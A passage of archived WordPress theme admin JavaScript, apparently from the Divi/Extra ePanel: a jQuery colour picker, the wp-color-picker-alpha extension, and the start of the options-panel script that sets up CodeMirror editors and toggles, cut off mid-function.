$(cal).data('colorpicker').selector.css('backgroundColor', '#' + HSBToHex({h: hsb.h, s: 100, b: 100})); $(cal).data('colorpicker').selectorIndic.css({ left: parseInt(150 * hsb.s/100, 10) + 'px', top: parseInt(150 * (100-hsb.b)/100, 10) + 'px', }); }, setHue = function (hsb, cal) { $(cal).data('colorpicker').hue.css('top', parseInt(150 - 150 * hsb.h/360, 10) + 'px'); }, setCurrentColor = function (hsb, cal) { $(cal).data('colorpicker').currentColor.css('backgroundColor', '#' + HSBToHex(hsb)); }, setNewColor = function (hsb, cal) { $(cal).data('colorpicker').newColor.css('backgroundColor', '#' + HSBToHex(hsb)); }, keyDown = function (ev) { var pressedKey = ev.charCode || ev.keyCode || -1; if ((pressedKey > charMin && pressedKey <= 90) || pressedKey == 32) { return false; } var cal = $(this).parent().parent(); if (cal.data('colorpicker').livePreview === true) { change.apply(this); } }, change = function (ev) { var cal = $(this).parent().parent(), col; if (this.parentNode.className.indexOf('_hex') > 0) { cal.data('colorpicker').color = col = HexToHSB(fixHex(this.value)); } else if (this.parentNode.className.indexOf('_hsb') > 0) { cal.data('colorpicker').color = col = fixHSB({ h: parseInt(cal.data('colorpicker').fields.eq(4).val(), 10), s: parseInt(cal.data('colorpicker').fields.eq(5).val(), 10), b: parseInt(cal.data('colorpicker').fields.eq(6).val(), 10) }); } else { cal.data('colorpicker').color = col = RGBToHSB(fixRGB({ r: parseInt(cal.data('colorpicker').fields.eq(1).val(), 10), g: parseInt(cal.data('colorpicker').fields.eq(2).val(), 10), b: parseInt(cal.data('colorpicker').fields.eq(3).val(), 10) })); } if (ev) { fillRGBFields(col, cal.get(0)); fillHexFields(col, cal.get(0)); fillHSBFields(col, cal.get(0)); } setSelector(col, cal.get(0)); setHue(col, cal.get(0)); setNewColor(col, cal.get(0)); cal.data('colorpicker').onChange.apply(cal, [col, HSBToHex(col), HSBToRGB(col)]); }, blur = function (ev) { var cal = $(this).parent().parent(); cal.data('colorpicker').fields.parent().removeClass('colorpicker_focus'); }, focus = function () { charMin = this.parentNode.className.indexOf('_hex') > 0 ? 70 : 65; $(this).parent().parent().data('colorpicker').fields.parent().removeClass('colorpicker_focus'); $(this).parent().addClass('colorpicker_focus'); }, downIncrement = function (ev) { var field = $(this).parent().find('input').trigger('focus'); var current = { el: $(this).parent().addClass('colorpicker_slider'), max: this.parentNode.className.indexOf('_hsb_h') > 0 ? 360 : (this.parentNode.className.indexOf('_hsb') > 0 ? 100 : 255), y: ev.pageY, field: field, val: parseInt(field.val(), 10), preview: $(this).parent().parent().data('colorpicker').livePreview }; $(document).on('mouseup', current, upIncrement); $(document).on('mousemove', current, moveIncrement); }, moveIncrement = function (ev) { ev.data.field.val(Math.max(0, Math.min(ev.data.max, parseInt(ev.data.val + ev.pageY - ev.data.y, 10)))); if (ev.data.preview) { change.apply(ev.data.field.get(0), [true]); } return false; }, upIncrement = function (ev) { change.apply(ev.data.field.get(0), [true]); ev.data.el.removeClass('colorpicker_slider').find('input').trigger('focus'); $(document).off('mouseup', upIncrement); $(document).off('mousemove', moveIncrement); return false; }, downHue = function (ev) { var current = { cal: $(this).parent(), y: $(this).offset().top }; current.preview = current.cal.data('colorpicker').livePreview; $(document).on('mouseup', current, upHue); $(document).on('mousemove', current, moveHue); }, moveHue = function (ev) { change.apply( ev.data.cal.data('colorpicker') .fields .eq(4) .val(parseInt(360*(150 - Math.max(0,Math.min(150,(ev.pageY - ev.data.y))))/150, 10)) .get(0), [ev.data.preview] ); return false; }, upHue = function (ev) { fillRGBFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0)); fillHexFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0)); $(document).off('mouseup', upHue); $(document).off('mousemove', moveHue); return false; }, downSelector = function (ev) { var current = { cal: $(this).parent(), pos: $(this).offset() }; current.preview = current.cal.data('colorpicker').livePreview; $(document).on('mouseup', current, upSelector); $(document).on('mousemove', current, moveSelector); }, moveSelector = function (ev) { change.apply( ev.data.cal.data('colorpicker') .fields .eq(6) .val(parseInt(100*(150 - Math.max(0,Math.min(150,(ev.pageY - ev.data.pos.top))))/150, 10)) .end() .eq(5) .val(parseInt(100*(Math.max(0,Math.min(150,(ev.pageX - ev.data.pos.left))))/150, 10)) .get(0), [ev.data.preview] ); return false; }, upSelector = function (ev) { fillRGBFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0)); fillHexFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0)); $(document).off('mouseup', upSelector); $(document).off('mousemove', moveSelector); return false; }, enterSubmit = function (ev) { $(this).addClass('colorpicker_focus'); }, leaveSubmit = function (ev) { $(this).removeClass('colorpicker_focus'); }, clickSubmit = function (ev) { var cal = $(this).parent(); var col = cal.data('colorpicker').color; cal.data('colorpicker').origColor = col; setCurrentColor(col, cal.get(0)); cal.data('colorpicker').onSubmit(col, HSBToHex(col), HSBToRGB(col), cal.data('colorpicker').el); }, show = function (ev) { var cal = $('#' + $(this).data('colorpickerId')); cal.data('colorpicker').onBeforeShow.apply(this, [cal.get(0)]); var pos = $(this).offset(); var viewPort = getViewport(); var top = pos.top + this.offsetHeight; var left = pos.left; if (top + 176 > viewPort.t + viewPort.h) { top -= this.offsetHeight + 176; } if (left + 356 > viewPort.l + viewPort.w) { left -= 356; } cal.css({left: left + 'px', top: top + 'px'}); if (cal.data('colorpicker').onShow.apply(this, [cal.get(0)]) != false) { cal.show(); } $(document).on('mousedown', {cal: cal}, hide); return false; }, hide = function (ev) { if (!isChildOf(ev.data.cal.get(0), ev.target, ev.data.cal.get(0))) { if (ev.data.cal.data('colorpicker').onHide.apply(this, [ev.data.cal.get(0)]) != false) { ev.data.cal.hide(); } $(document).off('mousedown', hide); } }, isChildOf = function(parentEl, el, container) { if (parentEl == el) { return true; } if (parentEl.contains) { return parentEl.contains(el); } if ( parentEl.compareDocumentPosition ) { return !!(parentEl.compareDocumentPosition(el) & 16); } var prEl = el.parentNode; while(prEl && prEl != container) { if (prEl == parentEl) return true; prEl = prEl.parentNode; } return false; }, getViewport = function () { var m = document.compatMode == 'CSS1Compat'; return { l : window.pageXOffset || (m ? document.documentElement.scrollLeft : document.body.scrollLeft), t : window.pageYOffset || (m ? document.documentElement.scrollTop : document.body.scrollTop), w : window.innerWidth || (m ? document.documentElement.clientWidth : document.body.clientWidth), h : window.innerHeight || (m ? document.documentElement.clientHeight : document.body.clientHeight) }; }, fixHSB = function (hsb) { return { h: Math.min(360, Math.max(0, hsb.h)), s: Math.min(100, Math.max(0, hsb.s)), b: Math.min(100, Math.max(0, hsb.b)) }; }, fixRGB = function (rgb) { return { r: Math.min(255, Math.max(0, rgb.r)), g: Math.min(255, Math.max(0, rgb.g)), b: Math.min(255, Math.max(0, rgb.b)) }; }, fixHex = function (hex) { var len = 6 - hex.length; if (len > 0) { var o = []; for (var i=0; i<len; i++) { o.push('0'); } o.push(hex); hex = o.join(''); } return hex; }, HexToRGB = function (hex) { var hex = parseInt(((hex.indexOf('#') > -1) ? hex.substring(1) : hex), 16); return {r: hex >> 16, g: (hex & 0x00FF00) >> 8, b: (hex & 0x0000FF)}; }, HexToHSB = function (hex) { return RGBToHSB(HexToRGB(hex)); }, RGBToHSB = function (rgb) { var hsb = { h: 0, s: 0, b: 0 }; var min = Math.min(rgb.r, rgb.g, rgb.b); var max = Math.max(rgb.r, rgb.g, rgb.b); var delta = max - min; hsb.b = max; if (max != 0) { } hsb.s = max != 0 ? 255 * delta / max : 0; if (hsb.s != 0) { if (rgb.r == max) { hsb.h = (rgb.g - rgb.b) / delta; } else if (rgb.g == max) { hsb.h = 2 + (rgb.b - rgb.r) / delta; } else { hsb.h = 4 + (rgb.r - rgb.g) / delta; } } else { hsb.h = -1; } hsb.h *= 60; if (hsb.h < 0) { hsb.h += 360; } hsb.s *= 100/255; hsb.b *= 100/255; return hsb; }, HSBToRGB = function (hsb) { var rgb = {}; var h = Math.round(hsb.h); var s = Math.round(hsb.s*255/100); var v = Math.round(hsb.b*255/100); if(s == 0) { rgb.r = rgb.g = rgb.b = v; } else { var t1 = v; var t2 = (255-s)*v/255; var t3 = (t1-t2)*(h%60)/60; if(h==360) h = 0; if(h<60) {rgb.r=t1; rgb.b=t2; rgb.g=t2+t3} else if(h<120) {rgb.g=t1; rgb.b=t2; rgb.r=t1-t3} else if(h<180) {rgb.g=t1; rgb.r=t2; rgb.b=t2+t3} else if(h<240) {rgb.b=t1; rgb.r=t2; rgb.g=t1-t3} else if(h<300) {rgb.b=t1; rgb.g=t2; rgb.r=t2+t3} else if(h<360) {rgb.r=t1; rgb.g=t2; rgb.b=t1-t3} else {rgb.r=0; rgb.g=0; rgb.b=0} } return {r:Math.round(rgb.r), g:Math.round(rgb.g), b:Math.round(rgb.b)}; }, RGBToHex = function (rgb) { var hex = [ rgb.r.toString(16), rgb.g.toString(16), rgb.b.toString(16) ]; $.each(hex, function (nr, val) { if (val.length == 1) { hex[nr] = '0' + val; } }); return hex.join(''); }, HSBToHex = function (hsb) { return RGBToHex(HSBToRGB(hsb)); }, restoreOriginal = function () { var cal = $(this).parent(); var col = cal.data('colorpicker').origColor; cal.data('colorpicker').color = col; fillRGBFields(col, cal.get(0)); fillHexFields(col, cal.get(0)); fillHSBFields(col, cal.get(0)); setSelector(col, cal.get(0)); setHue(col, cal.get(0)); setNewColor(col, cal.get(0)); }; return { init: function (opt) { opt = $.extend({}, defaults, opt||{}); if (typeof opt.color == 'string') { opt.color = HexToHSB(opt.color); } else if (opt.color.r != undefined && opt.color.g != undefined && opt.color.b != undefined) { opt.color = RGBToHSB(opt.color); } else if (opt.color.h != undefined && opt.color.s != undefined && opt.color.b != undefined) { opt.color = fixHSB(opt.color); } else { return this; } return this.each(function () { if (!$(this).data('colorpickerId')) { var options = $.extend({}, opt); options.origColor = opt.color; var id = 'collorpicker_' + parseInt(Math.random() * 1000); $(this).data('colorpickerId', id); var cal = $(tpl).attr('id', id); if (options.flat) { cal.appendTo(this).show(); } else { cal.appendTo(document.body); } options.fields = cal .find('input') .on('keyup', keyDown) .on('change', change) .on('blur', blur) .on('focus', focus); cal .find('span').on('mousedown', downIncrement).end() .find('>div.colorpicker_current_color').on('click', restoreOriginal); options.selector = cal.find('div.colorpicker_color').on('mousedown', downSelector); options.selectorIndic = options.selector.find('div div'); options.el = this; options.hue = cal.find('div.colorpicker_hue div'); cal.find('div.colorpicker_hue').on('mousedown', downHue); options.newColor = cal.find('div.colorpicker_new_color'); options.currentColor = cal.find('div.colorpicker_current_color'); cal.data('colorpicker', options); cal.find('div.colorpicker_submit') .on('mouseenter', enterSubmit) .on('mouseleave', leaveSubmit) .on('click', clickSubmit); fillRGBFields(options.color, cal.get(0)); fillHSBFields(options.color, cal.get(0)); fillHexFields(options.color, cal.get(0)); setHue(options.color, cal.get(0)); setSelector(options.color, cal.get(0)); setCurrentColor(options.color, cal.get(0)); setNewColor(options.color, cal.get(0)); if (options.flat) { cal.css({ position: 'relative', display: 'block' }); } else { $(this).on(options.eventName, show); } } }); }, showPicker: function() { return this.each( function () { if ($(this).data('colorpickerId')) { show.apply(this); } }); }, hidePicker: function() { return this.each( function () { if ($(this).data('colorpickerId')) { $('#' + $(this).data('colorpickerId')).hide(); } }); }, setColor: function(col) { if (typeof col == 'string') { col = HexToHSB(col); } else if (col.r != undefined && col.g != undefined && col.b != undefined) { col = RGBToHSB(col); } else if (col.h != undefined && col.s != undefined && col.b != undefined) { col = fixHSB(col); } else { return this; } return this.each(function(){ if ($(this).data('colorpickerId')) { var cal = $('#' + $(this).data('colorpickerId')); cal.data('colorpicker').color = col; cal.data('colorpicker').origColor = col; fillRGBFields(col, cal.get(0)); fillHSBFields(col, cal.get(0)); fillHexFields(col, cal.get(0)); setHue(col, cal.get(0)); setSelector(col, cal.get(0)); setCurrentColor(col, cal.get(0)); setNewColor(col, cal.get(0)); } }); } }; }(); $.fn.extend({ ColorPicker: ColorPicker.init, ColorPickerHide: ColorPicker.hidePicker, ColorPickerShow: ColorPicker.showPicker, ColorPickerSetColor: ColorPicker.setColor }); })(jQuery) wp-color-picker-alpha.min.js 0000644 00000020530 15222651262 0011767 0 ustar 00 /*! wp-color-picker-alpha - v1.1 * https://github.com/23r9i0/wp-color-picker-alpha * Copyright (c) 2015 Sergio P.A. (23r9i0); Licensed GPLv2 */ !function(t){var e="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==",i="Default",o="Select default color",r="Clear",a="Clear color",l="Color value",n="Select Color";if("undefined"!=typeof wp&&void 0!==wp.i18n&&void 0!==wp.i18n.__){var s=wp.i18n.__;i=s("Default"),o=s("Select default color"),r=s("Clear"),a=s("Clear color"),l=s("Color value"),n=s("Select Color")}else"undefined"!=typeof wpColorPickerL10n&&void 0!==wpColorPickerL10n.current&&(i=wpColorPickerL10n.defaultString,o=wpColorPickerL10n.defaultAriaLabel,r=wpColorPickerL10n.clear,a=wpColorPickerL10n.clearAriaLabel,l=wpColorPickerL10n.defaultLabel,n=wpColorPickerL10n.pick);Color.fn.toString=function(){if(this._alpha<1)return this.toCSS("rgba",this._alpha).replace(/\s+/g,"");var t=parseInt(this._color,10).toString(16);if(this.error)return"";if(t.length<6)for(var e=6-t.length-1;e>=0;e--)t="0"+t;return"#"+t},t.widget("wp.wpColorPicker",t.wp.wpColorPicker,{_create:function(){if(t.support.iris){var s=this,p=s.element;if(t.extend(s.options,p.data()),"hue"===s.options.type)return s._createHueOnly();s.close=s.close.bind(s),s.initialValue=p.val(),p.addClass("wp-color-picker"),p.parent("label").length||(p.wrap("<label></label>"),s.wrappingLabelText=t('<span class="screen-reader-text"></span>').insertBefore(p).text(l)),s.wrappingLabel=p.parent(),s.wrappingLabel.wrap('<div class="wp-picker-container" />'),s.wrap=s.wrappingLabel.parent(),s.toggler=t('<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>').insertBefore(s.wrappingLabel).css({backgroundColor:s.initialValue}).attr("title",n).addClass("et-wp-color-result-updated"),"undefined"!=typeof et_pb_color_picker_strings&&s.toggler.attr("data-legacy_title",et_pb_color_picker_strings.legacy_pick).attr("data-current",et_pb_color_picker_strings.legacy_current),s.toggler.find(".wp-color-result-text").text(n),s.pickerContainer=t('<div class="wp-picker-holder" />').insertAfter(s.wrappingLabel),s.button=t('<input type="button" class="button button-small button-clear hidden" />'),s.close_button=t('<button type="button" class="button button-confirm" />').html('<div style="fill: #3EF400; width: 25px; height: 25px; margin-top: -1px;"><svg viewBox="0 0 28 28" preserveAspectRatio="xMidYMid meet" shapeRendering="geometricPrecision"><g><path d="M19.203 9.21a.677.677 0 0 0-.98 0l-5.71 5.9-2.85-2.95a.675.675 0 0 0-.98 0l-1.48 1.523a.737.737 0 0 0 0 1.015l4.82 4.979a.677.677 0 0 0 .98 0l7.68-7.927a.737.737 0 0 0 0-1.015l-1.48-1.525z" fillRule="evenodd" /></g></svg></div>'),s.options.diviColorpicker&&p.after(s.close_button),s.options.defaultColor?s.button.addClass("wp-picker-default").val(i).attr("aria-label",o):s.button.addClass("wp-picker-clear").val(r).attr("aria-label",a),s.wrappingLabel.wrap('<span class="wp-picker-input-wrap hidden" />').after(s.button),s.inputWrapper=p.closest(".wp-picker-input-wrap"),s.toggler.css({height:"24px",margin:"0 6px 6px 0",padding:"0 0 0 30px","font-size":"11px"}),p.iris({target:s.pickerContainer,hide:s.options.hide,width:s.options.width,height:s.options.height,mode:s.options.mode,palettes:s.options.palettes,diviColorpicker:s.options.diviColorpicker,change:function(t,i){s.options.alpha?(s.toggler.css({"background-image":"url("+e+")",position:"relative"}),0==s.toggler.find("span.color-alpha").length&&s.toggler.append('<span class="color-alpha" />'),s.toggler.find("span.color-alpha").css({width:"100%",height:"100%",position:"absolute",top:"0px",left:"0px","border-top-left-radius":"3px","border-bottom-left-radius":"3px",background:i.color.toString()})):s.toggler.css({backgroundColor:i.color.toString()}),"function"==typeof s.options.change&&s.options.change.call(this,t,i)}}),p.val(s.initialValue),s._addListeners(),s.options.hide||s.toggler.trigger("click")}},_addListeners:function(){var e=this;e.wrap.on("click.wpcolorpicker",function(t){return t.stopPropagation(),!1}),e.toggler.on("click",function(){e.toggler.hasClass("wp-picker-open")?e.close():e.open()}),e.element.on("change",function(i){(""===t(this).val()||e.element.hasClass("iris-error"))&&(e.options.alpha?e.toggler.find("span.color-alpha").css("backgroundColor",""):e.toggler.css("backgroundColor",""),"function"==typeof e.options.clear&&e.options.clear.call(this,i))}),e.button.on("click",function(i){t(this).hasClass("wp-picker-clear")?(e.element.val(""),e.options.alpha?e.toggler.find("span.color-alpha").css("backgroundColor",""):e.toggler.css("backgroundColor",""),"function"==typeof e.options.clear&&e.options.clear.call(this,i)):t(this).hasClass("wp-picker-default")&&e.element.val(e.options.defaultColor).trigger("change")}),e.close_button.on("click",function(t){t.preventDefault(),e.close()})},close:function(){this._super();"function"==typeof this.options.onClose&&this.options.onClose.call(this)}}),t.widget("a8c.iris",t.a8c.iris,{_create:function(){if(this._super(),this.options.alpha=this.element.data("alpha")||!1,this.element.is(":input")||(this.options.alpha=!1),void 0!==this.options.alpha&&this.options.alpha){var e=this,i=e.element,o=t('<div class="iris-strip iris-slider iris-alpha-slider"><div class="iris-slider-offset iris-slider-offset-alpha"></div></div>').appendTo(e.picker.find(".iris-picker-inner")),r=o.find(".iris-slider-offset-alpha"),a={aContainer:o,aSlider:r};e.options.defaultWidth=i.width(),(e._color._alpha<1||1!=e._color.toString().indexOf("rgb"))&&i.width(parseInt(e.options.defaultWidth+100)),t.each(a,function(t,i){e.controls[t]=i}),e.controls.square.css({"margin-right":"0px"});var l=e.picker.width()-e.controls.square.width()-20,n=l/6,s=l/2-n;t.each(["aContainer","strip"],function(t,i){e.controls[i].width(s).css({"margin-left":n+"px"})}),e._initControls(),e._change()}},_initControls:function(){if(this._super(),this.options.alpha){var t=this;t.controls.aSlider.slider({orientation:"vertical",min:0,max:100,step:1,value:parseInt(100*t._color._alpha),slide:function(e,i){t._color._alpha=parseFloat(i.value/100),t._change.apply(t,arguments)}})}},_change:function(){this._super();var t=this,i=t.element;if(this.options.alpha){var o=t.controls,r=parseInt(100*t._color._alpha),a=t._color.toRgb(),l=["rgb("+a.r+","+a.g+","+a.b+") 0%","rgba("+a.r+","+a.g+","+a.b+", 0) 100%"],n=t.options.defaultWidth,s=t.picker.closest(".wp-picker-container").find(".wp-color-result");if(o.aContainer.css({background:"linear-gradient(to bottom, "+l.join(", ")+"), url("+e+")"}),s.hasClass("wp-picker-open"))if(o.aSlider.slider("value",r),t._color._alpha<1){var p=o.strip.attr("style").replace(/rgba\(([0-9]+,)(\s+)?([0-9]+,)(\s+)?([0-9]+)(,(\s+)?[0-9\.]+)\)/g,"rgb($1$3$5)");o.strip.attr("style",p),i.width(parseInt(n+100))}else i.width(n)}(i.data("reset-alpha")||!1)&&t.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){t._color._alpha=1,t.active="external",t._change()})},_addInputListeners:function(t){var e=this,i=function(i){var o=new Color(t.val()),r=t.val();t.removeClass("iris-error"),o.error?""!==r&&t.addClass("iris-error"):o.toString()!==e._color.toString()&&("keyup"===i.type&&r.match(/^[0-9a-fA-F]{3}$/)||e._setOption("color",o.toString()))};t.on("change",i).on("keyup",e._debounce(i,700)),e.options.hide&&t.one("focus",function(){e.show()})},_dimensions:function(e){var i,o,r,a=this.options,l=this.controls.square,n=this.picker.find(".iris-strip"),s="77.5%",p="12%",c=a.border?a.width-20:a.width,h=Array.isArray(a.palettes)?a.palettes.length:this._palettes.length;if(e&&(l.css("width",""),n.css("width",""),this.picker.css({width:"",height:""})),s=c*(parseFloat(s)/100),p=c*(parseFloat(p)/100),i=a.border?s+20:s,a.diviColorpicker?(l.width(a.width).height(a.height),i=a.height):l.width(s).height(s),n.height(s).width(p),this.picker.css({width:"number"==typeof a.width?a.width+"px":a.width,height:"number"==typeof i?i+"px":i}),!a.palettes)return this.picker.css("paddingBottom","");r=(s-(h-1)*(o=2*s/100))/h,this.picker.find(".iris-palette").each(function(e){var i=0===e?0:o;t(this).css({width:r+"px",height:r+"px",marginLeft:i+"px"})}),this.picker.css("paddingBottom",r+o+"px"),n.height(r+o+s)}})}(jQuery),jQuery(function(t){t(".color-picker").wpColorPicker()}); functions-init.js 0000644 00000042500 15222651262 0010057 0 ustar 00 /* <![CDATA[ */ var clearpath = ePanelSettings.clearpath; jQuery(function($){ var editors = []; var caps = ePanelSettings.allowedCaps; function addEditorInstance(codeEditor, $element, config) { if (!$element || $element.length === 0) { return; } var instance = codeEditor.initialize( $element , { codemirror: config, } ); if (instance && instance.codemirror) { editors.push(instance.codemirror); } } // Add library buttons in code mirror editor. function addLibraryButtons($codeMirrorWrap) { var libraryBtnsHTML = '<ul class="et-code-snippets-library-btns-wrap">' + (caps.addLibrary ? '<li class="et-code-snippets-btn snippet-add">' + '<span class="add"></span>' + '</li>' : '') + (caps.saveLibrary ? '<li class="et-code-snippets-btn snippet-save">' + '<span class="save"></span>' + '</li>' : '') + (caps.portability ? '<li class="et-code-snippets-btn snippet-portability">' + '<span class="portability"></span>' + '</li>' : '') + '</ul>' ; $codeMirrorWrap.prepend(libraryBtnsHTML); } // Extract the context form code mirror textarea. function getCodeSnippetsContext(element) { var areaForCSS = $(element).parents('.CodeMirror-wrap').siblings('textarea[id*=\'_custom_css\']'); return areaForCSS.length ? 'code_css' : 'code_html'; } // Get the Code Mirror textarea id. function getCodeMirrorId(element) { var codeArea = $(element).parents('.CodeMirror').siblings('textarea'); return codeArea.attr('id'); } // Add library buttons click event listeners. function addLibraryButtonsClickEvent() { $codeSnippetsBtnsWrap = $('.et-code-snippets-library-btns-wrap'); if ($codeSnippetsBtnsWrap.length) { $codeSnippetsBtnsWrap.find('.add').parent().click(function(e) { $(window).trigger('et_epanel_code_snippets_open_add_modal', [getCodeSnippetsContext(e.target), getCodeMirrorId(e.target)]); }); $codeSnippetsBtnsWrap.find('.save').parent().click(function(e) { $(window).trigger('et_epanel_code_snippets_open_save_modal', [getCodeSnippetsContext(e.target), getCodeMirrorId(e.target)]); }); $codeSnippetsBtnsWrap.find('.portability').parent().click(function(e) { $(window).trigger('et_epanel_code_snippets_open_portability_modal', [getCodeSnippetsContext(e.target), getCodeMirrorId(e.target)]); }); } } // Use WP 4.9 CodeMirror Editor for Custom CSS var codeEditor = window.wp && window.wp.codeEditor; if (codeEditor && codeEditor.initialize && codeEditor.defaultSettings && codeEditor.defaultSettings.codemirror) { // User ET CodeMirror theme var configCSS = $.extend({}, codeEditor.defaultSettings.codemirror, { theme: 'et', }); var configHTML = $.extend({}, configCSS, { mode: 'htmlmixed', }); if ($('#divi_custom_css').length > 0) { // Divi Theme addEditorInstance(codeEditor, $('#divi_custom_css'), configCSS); addEditorInstance(codeEditor, $('#divi_integration_head'), configHTML); addEditorInstance(codeEditor, $('#divi_integration_body'), configHTML); addEditorInstance(codeEditor, $('#divi_integration_single_top'), configHTML); addEditorInstance(codeEditor, $('#divi_integration_single_bottom'), configHTML); } else if ($('#extra_custom_css').length > 0) { // Extra Theme addEditorInstance(codeEditor, $('#extra_custom_css'), configCSS); addEditorInstance(codeEditor, $('#extra_integration_head'), configHTML); addEditorInstance(codeEditor, $('#extra_integration_body'), configHTML); addEditorInstance(codeEditor, $('#extra_integration_single_top'), configHTML); addEditorInstance(codeEditor, $('#extra_integration_single_bottom'), configHTML); } // Code snippets area. var $codeMirrorWrap = $('#epanel-content').find('.CodeMirror-wrap'); var isSnippetAllowed = caps.addLibrary || caps.saveLibrary || caps.portability; if ($codeMirrorWrap.length && isSnippetAllowed) { addLibraryButtons($codeMirrorWrap); addLibraryButtonsClickEvent(); } } var $palette_inputs = $( '.et_color_palette_main_input' ); $('#epanel-content,#epanel-content > div').tabs({ fx: { opacity: 'toggle', duration:'fast' }, selected: 0, activate: function( event, ui ) { $epanel = $('#epanel'); if ( $epanel.hasClass('onload') ) { $epanel.removeClass('onload'); } } }); $('.et-box-description').on('click', function() { var descheading = $(this).parent('.et-epanel-box').find(".et-box-title h3").html(); var desctext = $(this).parent('.et-epanel-box').find(".et-box-title .et-box-descr").html(); $('body').append("<div id='custom-lbox'><div class='et-box-desc'><div class='et-box-desc-top'>"+ ePanelSettings.help_label +"</div><div class='et-box-desc-content'><h3>"+descheading+"</h3>"+desctext+"<div class='et-lightbox-close'></div> </div> <div class='et-box-desc-bottom'></div> </div></div>"); et_pb_center_modal( $( '.et-box-desc' ) ); $('.et-lightbox-close').on('click', function() { et_pb_close_modal($('#custom-lbox')); }); }); $('.et-defaults-button.epanel-reset').on('click', function(e) { e.preventDefault(); $(".reset-popup-overlay, .defaults-hover").addClass('active'); et_pb_center_modal( $( '.defaults-hover' ) ); }); $('.et-defaults-button.epanel-save').on('click', function(e) { e.preventDefault(); var preferences = { modalType: 'save', sidebarLabel: ePanelSettings.i18n['Theme Option'], builtFor: ePanelSettings?.currentTheme ?? 'Divi', }; $(window).trigger('et_theme-options_container_ready', [preferences]); }); $('.et-defaults-button.epanel-add').on('click', function(e) { e.preventDefault(); var preferences = { modalType: 'add', sidebarLabel: ePanelSettings.i18n['Theme Option'], builtFor: ePanelSettings?.currentTheme ?? 'Divi', }; $(window).trigger('et_theme-options_container_ready', [preferences]); }); $('.no').on('click', function() { et_pb_close_modal( $( '.reset-popup-overlay' ), 'no_remove' ); //clean the modal classes when animation complete setTimeout( function() { $( '.reset-popup-overlay, .defaults-hover' ).removeClass( 'active et_pb_modal_closing' ); }, 600 ); }); // ":not([safari])" is desirable but not necessary selector // ":not([safari])" is desirable but not necessary selector $('#epanel input:checkbox:not([safari]):not(.yes_no_button)').checkbox(); $('#epanel input[safari]:checkbox:not(.yes_no_button)').checkbox({cls:'jquery-safari-checkbox'}); $('#epanel input:radio:not(.yes_no_button)').checkbox(); // Yes - No button UI $('.yes_no_button').each(function() { var $checkbox = $(this); var value = $checkbox.is(':checked'); var state = value ? 'et_pb_on_state' : 'et_pb_off_state'; var $template = $($('#epanel-yes-no-button-template').html()).find('.et_pb_yes_no_button').addClass(state); $checkbox.hide().after($template); if ( 'et_pb_static_css_file' === $checkbox.attr( 'id' ) ) { $checkbox .parent() .addClass( state ) .next() .addClass( 'et_pb_clear_static_css' ) .on( 'click', function() { epanel_clear_static_css( false, true ); }); if ( ! value ) { $checkbox.parents('.et-epanel-box').next().hide(); } } if ( 'divi_dynamic_css' === $checkbox.attr( 'id' ) || 'extra_dynamic_css' === $checkbox.attr( 'id' ) ) { if ( ! value ) { $checkbox.parents('.et-epanel-box').next().hide(); $checkbox.parents('.et-epanel-box').next().next().hide(); } } if ( 'divi_enable_jquery_body' === $checkbox.attr( 'id' ) || 'extra_enable_jquery_body' === $checkbox.attr( 'id' ) ) { if ( ! value ) { $checkbox.parents('.et-epanel-box').next().hide(); $checkbox.parents('.et-epanel-box').next().next().hide(); } } if ( 'divi_google_fonts_inline' === $checkbox.attr( 'id' ) || 'extra_google_fonts_inline' === $checkbox.attr( 'id' ) ) { if ( ! value ) { $checkbox.parents('.et-epanel-box').next().hide(); } } if ( 'divi_critical_css' === $checkbox.attr( 'id' ) || 'extra_critical_css' === $checkbox.attr( 'id' ) ) { if ( ! value ) { $checkbox.parents('.et-epanel-box').next().hide(); } } }); $('.et-box-content').on( 'click', '.et_pb_yes_no_button', function(e){ e.preventDefault(); // Fix for nested .et-box-content triggering checkboxes multiple times. e.stopPropagation(); var $click_area = $(this), $box_content = $click_area.closest('.et-box-content'), $checkbox = $box_content.find('input[type="checkbox"]'), $state = $box_content.find('.et_pb_yes_no_button'); if ( $state.parent().next().hasClass( 'et_pb_clear_static_css' ) ) { $state = $state.add( $state.parent() ); if ( $checkbox.is( ':checked' ) ) { $box_content.parent().next().hide(); } else { $box_content.parent().next().show(); } } if ( 'divi_dynamic_css' === $checkbox.attr( 'id' ) || 'extra_dynamic_css' === $checkbox.attr( 'id' ) ) { if ( $checkbox.is( ':checked' ) ) { $box_content.parent().next().hide(); $box_content.parent().next().next().hide(); } else { $box_content.parent().next().show(); $box_content.parent().next().next().show(); } } if ( 'divi_enable_jquery_body' === $checkbox.attr( 'id' ) || 'extra_enable_jquery_body' === $checkbox.attr( 'id' ) ) { if ( $checkbox.is( ':checked' ) ) { $box_content.parent().next().hide(); $box_content.parent().next().next().hide(); } else { $box_content.parent().next().show(); $box_content.parent().next().next().show(); } } if ( 'divi_google_fonts_inline' === $checkbox.attr( 'id' ) || 'divi_google_fonts_inline' === $checkbox.attr( 'id' ) ) { if ( $checkbox.is( ':checked' ) ) { $box_content.parent().next().hide(); } else { $box_content.parent().next().show(); } } if ( 'divi_critical_css' === $checkbox.attr( 'id' ) || 'extra_critical_css' === $checkbox.attr( 'id' ) ) { if ( $checkbox.is( ':checked' ) ) { $box_content.parent().next().hide(); } else { $box_content.parent().next().show(); } } $state.toggleClass('et_pb_on_state et_pb_off_state'); if ( $checkbox.is(':checked' ) ) { $checkbox.prop('checked', false); } else { $checkbox.prop('checked', true); } }); var $save_message = $("#epanel-ajax-saving"); $('#epanel-save-top').on('click', function(e) { e.preventDefault(); $('#epanel-save').trigger('click'); }) $('#epanel-save').on('click', function() { epanel_save( false, true ); return false; }); function epanel_save( callback, message ) { // If CodeMirror is used if (editors.length > 0) { 